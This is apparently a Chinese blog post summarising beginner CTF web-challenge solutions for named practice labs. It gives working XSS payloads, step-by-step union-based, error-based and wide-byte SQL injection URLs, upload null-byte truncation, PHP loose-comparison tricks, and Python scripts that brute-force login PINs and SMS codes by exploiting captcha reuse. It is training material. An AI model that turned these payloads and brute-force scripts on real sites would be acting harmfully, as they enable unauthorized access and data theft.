本文链接:http://blog.csdn.net/u012763794/article/details/50959166

本文根据自己的做题经验及各大练习平台不断更新,若我最近懒了,没怎么更新,请在下面提醒我或鼓励我

仅作为自己的笔记及刚入门的童鞋,大牛勿喷

基础篇

1.直接查看源代码

http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php

2.修改或添加HTTP请求头

常见的有:
Referer来源伪造
X-Forwarded-For:ip伪造
User-Agent:用户代理(就是用什么浏览器什么的)
http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php
//.net的版本修改,后面添加,如版本9
.NET CLR 9
Accept-Language:语言
http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php
http://ctf1.shiyanbar.com/basic/header/
Cookie的修改
http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php

3.查看HTTP请求头或响应头

http://lab1.xseclab.com/base7_eb68bd2f0d762faf70c89799b3c1cc52/index.php
http://ctf1.shiyanbar.com/basic/catch/

4.302跳转的中转网页有信息

http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php

5.查看开发者工具控制台

6.javascript代码绕过

通过删除或修改代码或者本地代理改包绕过
http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

7.使用burp的repeater查看整个HTTP包

http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

8.阅读javascript代码,直接控制台获取正确密码

http://ctf1.shiyanbar.com/basic/js/index.asp

9.robots.txt文件获取信息

这本来是给搜索引擎看的信息,很可能暴露网站结构目录
http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php

10..bash_history,这个应该说看到过吧,就是记录用户输入过的linux命令的

前端脚本类

js加解密

http://ctf5.shiyanbar.com/DUTCTF/1.html  //直接在F12控制台粘贴就有了

XSS

http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php
这题题目就有漏洞,直接在命令行输入下面的就有了
[javascript] view plaincopy
  1. $.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){
  2. console.log(data);
  3. });
  4. showkey();

当然简单的直接输入

[javascript] view plaincopy
  1. <script>alert(HackingLab)</script>

这样也可以

这题也差不多
http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

可以直接输入上题的那个jquery,也可以乖乖下面的
[html] view plaincopy
  1. <img src="11" onerror=alert(HackingLab)>

http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

后端脚本类

代码审计

asp代码审计:

1.http://ctf8.shiyanbar.com/aspaudit/ 
长度限制:F12删maxlength,或者改长度,本地代理都可以绕过
//Username:  'union  select 1,1,1 from bdmin '  ,为什么是三列呢,一般表中都会设置id,加上账号密码就3个了,不行就猜4列咯...,因为union的之前的用户名为空,所以前面的结果集为空,所以最后的结果集只有我们后面的1,1,1了,所以在密码那输入1就是密码。
这样也行,反正就闭合标签   'union  select 1,1,1 from bdmin where '1'='1

php代码审计

1.http://ctf8.shiyanbar.com/phpaudit/ //其实这个就是修改http请求头的X-Forwarded-For
2.http://ctf1.shiyanbar.com/web/4/index.php //跟下面的后台登陆型第一个一样,请看下面的后台登陆型第一个
3.http://ctf5.shiyanbar.com/DUTCTF/index.php //二次urlencode
4.http://ctf1.shiyanbar.com/web/5/index.php //请看后台登陆型第二个
5.http://ctf4.shiyanbar.com/web/false.php //数组的哈希值,都是null
6.http://ctf4.shiyanbar.com/web/Session.php //只需要在第一次提交的时候直接提交password=即可,因为第一次访问时服务器那边也没设置对应的$_SESSION['password'],由于是==比较,两者是相等的。

表单隐藏 http://ctf10.shiyanbar.com:8888/main.php

sql注入

简单的直接上工具就ko了,如sqlmap,等-——10大sql注入工具
如下面几个:
1.http://ctf5.shiyanbar.com:8080/9/asp.asp
2.http://ctf5.shiyanbar.com/8/index.php?id=1
当然不用and XX也是可以的,下面只是举个例子
[php] view plaincopy
  1. //手工注入过程
  2. //判断注入类型为and布尔型注入
  3. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
  4. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2
  5. //判断字段数
  6. http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%203
  7. http://ctf5.shiyanbar.com/8/index.php?id=1%20order%20by%202
  8. //获取数据库基本信息(//concat_ws是字符串连接函数,其中第一个参数是分隔符,CHAR(58)是冒号,因为冒号的ASCII是58)
  9. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,concat_ws(CHAR(58),user(),database(),version())
  10. //获取数据库中的表,其中table_schema可以理解为数据库吧(他是mysql系统表里面的一个字段,这里我们用16进制表示,就是上一句查询到的数据库)
  11. http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=2%20union%20select%201,table_name%20from%20information_schema.tables%20where%20table_schema=0x6d795f6462
  12. //获取重要表的字段
  13. http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=0x746869736b6579
  14. //获取表中的内容
  15. http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from thiskey
3.http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
密码随便输入
4.http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php
payload:
http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1
5.http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1
宽字节注入,在其他没头绪的时候必须考虑这个了,哎,而且题目都说过滤了
还有响应头:Content-Type:text/html; charset=gb2312
payload
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%a0%27 or 1=1 limit 2,1%23
6.http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
利用报错注入
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)     
数据库:mydbs
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=0x6d79646273 limit 0,1 ))),1)
爆表
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=7&num=1 procedure analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)
爆数据

写点脚本的

注意看响应头,You must do it as fast as you can!,这个手速是不行的,必须编程获取后解码,跟着post数据:key=XXXXXXXXXXXXX
http://ctf4.shiyanbar.com/web/10.php
脚本如下

[python] view plaincopy
  1. import requests
  2. import base64
  3. url='http://ctf4.shiyanbar.com/web/10.php'
  4. req=requests.get(url)
  5. print req.text
  6. key=req.headers['FLAG']
  7. key=base64.b64decode(key)
  8. key=key.split(':')[1].strip()
  9. data={'key':key}
  10. r=requests.post(url,data=data)
  11. print(r.text)

后台登陆型

给了源代码,主要看sql语句,注释掉后面的and (pw='$pass'),当注意闭合小括号 payload  :user=admin')#&pass=432142
1.http://ctf1.shiyanbar.com/web/4/index.php
2.http://ctf1.shiyanbar.com/web/5/index.php
//这题可以看看asp代码审计第一题,你或许有思路,后面有答案鼠标刮过即可(鼠标选中冒号后面的空白):user=' union select 'c4ca4238a0b923820dcc509a6f75849b'  from php -- &pass=1
那个MD5是密码1的md5

代码逆向

http://www.shiyanbar.com/ctf/1760
解密代码
[cpp] view plaincopy
  1. $cipher = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
  2. $tmp = base64_decode(strrev(str_rot13($cipher)));
  3. echo $tmp;
  4. $b = '';
  5. for ($i=0; $i < strlen($tmp); $i++) {
  6. $a = substr($tmp, $i, 1);
  7. $b = $b.chr(ord($a)-1);
  8. }
  9. echo strrev($b);

上传绕过类

http://ctf4.shiyanbar.com/web/upload  //这个注意看抓包的数据,既有路径,又有文件名,文件名不行,就试试路径的00截断   /uploads/sdf.php+十六进制的00
multipart/form-data大写绕过

php的特性

1.数字与字符串比较

[php] view plaincopy
  1. var_dump( 0 == "a" );
  2. var_dump( "0" == "a" );

第一个返回的是 true ,第二个返回的是 false

因为php把字母开头的转化为整型时,转化为0, 前面数字后面字母的话就只取到第一个字母出现的位置之前(如intval(''123abd45gf)结果为123)
2.md5“碰撞”
因为php 0e开头的字符串都是==的,不是===哦
[php] view plaincopy
  1. var_dump("0e462097431906854"=="0e83040041");

上面这个返回true,如果题目的md5是0e开头的,你懂的

下面给一组数据吧
[php] view plaincopy
  1. md5('240610708') 的结果是:0e462097431906509019562988736854
  2. md5('QNKCDZO') 的结果是:0e830400451993494058024219903391
240610708、QNKCDZO、aabg7XSs、aabC9RqS
3.md5数组
md5(array) == NULL
4.strcmp(array,string) ==
5.变量覆盖:register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它。PHP4默认开启,PHP5以后默认关闭。
还有就是extract那个函数,也可以存在变量覆盖http://www.w3school.com.cn/php/func_array_extract.asp

6.ereg函数漏洞:00截断
%00

http://www.shiyanbar.com/ctf/1805

备份文件类型的

.bak   ultroedit....

~

.xxxx.PHP.swp  .xxxx.php.swo    vim

验证码类的

http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
这个验证码的特点是,在一次会话中,下一次提交,上一次的验证码不会失效
代码,具体要改cookie和验证码
[python] view plaincopy
  1. import requests
  2. url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
  3. req = requests.session()
  4. header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}
  5. for pwd in xrange(1000,10000):
  6. data={'username':'admin','pwd':pwd,'vcode':'c3pe'}
  7. ret = req.post(url, data=data, headers=header)
  8. print ret.text
  9. if 'error' not in ret.text:
  10. print pwd
  11. break

http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
这一关的验证码,验证一次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为''的就可以
[python] view plaincopy
  1. import requests
  2. url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
  3. req = requests.session()
  4. header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}
  5. for pwd in xrange(1000,10000):
  6. data={'username':'admin','pwd':pwd,'vcode':''}
  7. ret = req.post(url, data=data, headers=header)
  8. if 'error' not in ret.text:
  9. print ret.text
  10. print "good: password is:" + str(pwd)
  11. break
  12. else:
  13. print "try:" + str(pwd) + " and result is :"+ ret.text

http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php  跟上面一样的脚本
http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/
爆破再爆破,点击验证码再运行脚本哦,跟着获得另一个手机号,再获取验证码,再修改手机号再运行脚本
[python] view plaincopy
  1. import requests
  2. url = "http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
  3. req = requests.session()
  4. header = {"Cookie":"PHPSESSID=61556a5b2a6c2a03a2f35b199cbb5364"}
  5. for vcode in xrange(100,1000):
  6. data={'username':'13388886666','vcode':vcode, 'Login':'submit'}
  7. # data={'username':'13399999999','vcode':vcode, 'Login':'submit'}
  8. ret = req.post(url, data=data, headers=header)
  9. if 'error' not in ret.text:
  10. print ret.text
  11. print "good: vcode is:" + str(vcode)
  12. break
  13. else:
  14. print "try:" + str(vcode) + " and result is :"+ ret.text
本文链接:http://blog.csdn.net/u012763794/article/details/50959166

CTF web总结(入门)相关推荐

  1. 用burpsuite抓包,谷歌 / 火狐浏览器 该怎么设置BurpSuite代理?——超详细教程——CTF Web小白入门基础篇

    以下是我自己操作过的,理一理思路. 使用BurpSuite的套路是:先浏览器设置BurpSuite代理-->BurpSuite 调至on状态-->访问web程序-->进行抓包分析 最 ...

  2. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  3. ctf安全竞赛入门pdf_CTF安全竞赛入门

    要问学习网络安全的小伙伴们最想快速提升的技能是啥,可能很多小伙伴都会选择CTF了! CTF是一种流行的信息安全竞赛形式,其英文名可直译为"夺得Flag",也可意译为"夺旗 ...

  4. CTF——web个人总结

    CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...

  5. JSP WEB开发入门基础到高手进阶教程002

    JSP WEB开发入门基础到高手进阶教程 -------开发入门 JSP与微软的Active Server Pages 兼容,但它是使用类似HTML的卷标以及Java程序代码段而不是VBScript. ...

  6. JAVA WEB快速入门之从编写一个JSP WEB网站了解JSP WEB网站的基本结构、调试、部署...

    接上篇<JAVA WEB快速入门之环境搭建>,在完成了环境搭建后(JDK.Tomcat.IDE),现在是万事具备,就差写代码了,今天就来从编写一个JSP WEB网站了解JSP WEB网站的 ...

  7. 【python】 web开发入门

    进入Web开发 现在你完成了Python忍者训练,准备深入Ptyhon的Web开发,但现在的问题是有很多的框架,从中选择最好的框架非常困难,但从初学者的角度出发,Flask基本Web框架将非常适合We ...

  8. Intellij Idea 创建Web项目入门(一)

    原文:Intellij Idea 创建Web项目入门(一) 相关软件: Intellij Idea14:http://pan.baidu.com/s/1nu16VyD JDK7:http://pan. ...

  9. Jmeter Web 性能测试入门 (六):Jmeter 解析 response 并传递 value

    解析response中的内容,并把获取到的value传递到后续的request中,常用的方法就是在想要解析response的request上添加后置处理器 本章介绍两种常用的组件 BeanShell ...

  10. java8生成jsp页面内容组装到jsp中_JAVA WEB快速入门之从编写一个JSP WEB网站了解JSP WEB网站的基本结构、调试、部署...

    接上篇<JAVA WEB快速入门之环境搭建>,在完成了环境搭建后(JDK.Tomcat.IDE),现在是万事具备,就差写代码了,今天就来从编写一个JSP WEB网站了解JSP WEB网站的 ...

最新文章

  1. CS-APP:Section 5.1,Memory aliasing :看上去逻辑一样,执行结果一样吗?
  2. Gin实际编写中间件
  3. 公式 有效值_纯电阻电路电功率公式
  4. php的用户认证(有点难度 多看几遍吧)
  5. (37)System Verilog类外方法示例
  6. qml 不刷新 放大还原_【显示器选择详解】你的电脑能否带动高分辨率,高刷新率显示器?...
  7. 马斯洛需求的五个层次_运用马斯洛需求层次理论分析《吞噬星空》爽点之第九章...
  8. php store快捷键设置,mac 下 phpstorm 快捷键整理
  9. 【BP数据预测】基于matlab狼群算法优化BP神经网络数据预测【含Matlab源码 658期】
  10. appfuse mysql_学习 AppFuse
  11. stm32电容触摸按键的实现
  12. 十隔日推算法_年、月、日、时干支推算法
  13. 手机版服务器最新的,我的世界手机版服务器ip地址大全(持续更新)
  14. 按钮 蓝底白字 html,为什么ChemDraw Professional 15颜色设置总是蓝底白字?
  15. xcode 设置编码区背景颜色为淡绿色
  16. 【优化求解】基于NSGAII算法求解含约束多目标优化问题matlab代码
  17. IP-Guard如何注册
  18. 学生托管班_小学生上托管班弊大于利
  19. USNEWS美国大学计算机工程,想从事编程?2019年USNews美国大学计算机工程专业排名值得一看...
  20. Yau 近代几何讲座

热门文章

  1. python学习笔记(一)PIP
  2. 关于使用条码打印机指令打印汉字的问题
  3. Java登录界面的实现(注册、登录、背景图片)
  4. 《帝友P2P网络借贷系统》项目研发阶段性总结
  5. 科通芯城配股筹资3亿美元 拟加速物联网
  6. 怎么查看电脑中安装的字体
  7. 【论文精读】Pairwise learning for medical image segmentation
  8. emacs 基本配置
  9. 【C++习题笔记】谭浩强C++程序设计(第三版)第七章
  10. ESL3.5 学习笔记(主成分回归,偏最小二乘回归步骤详解)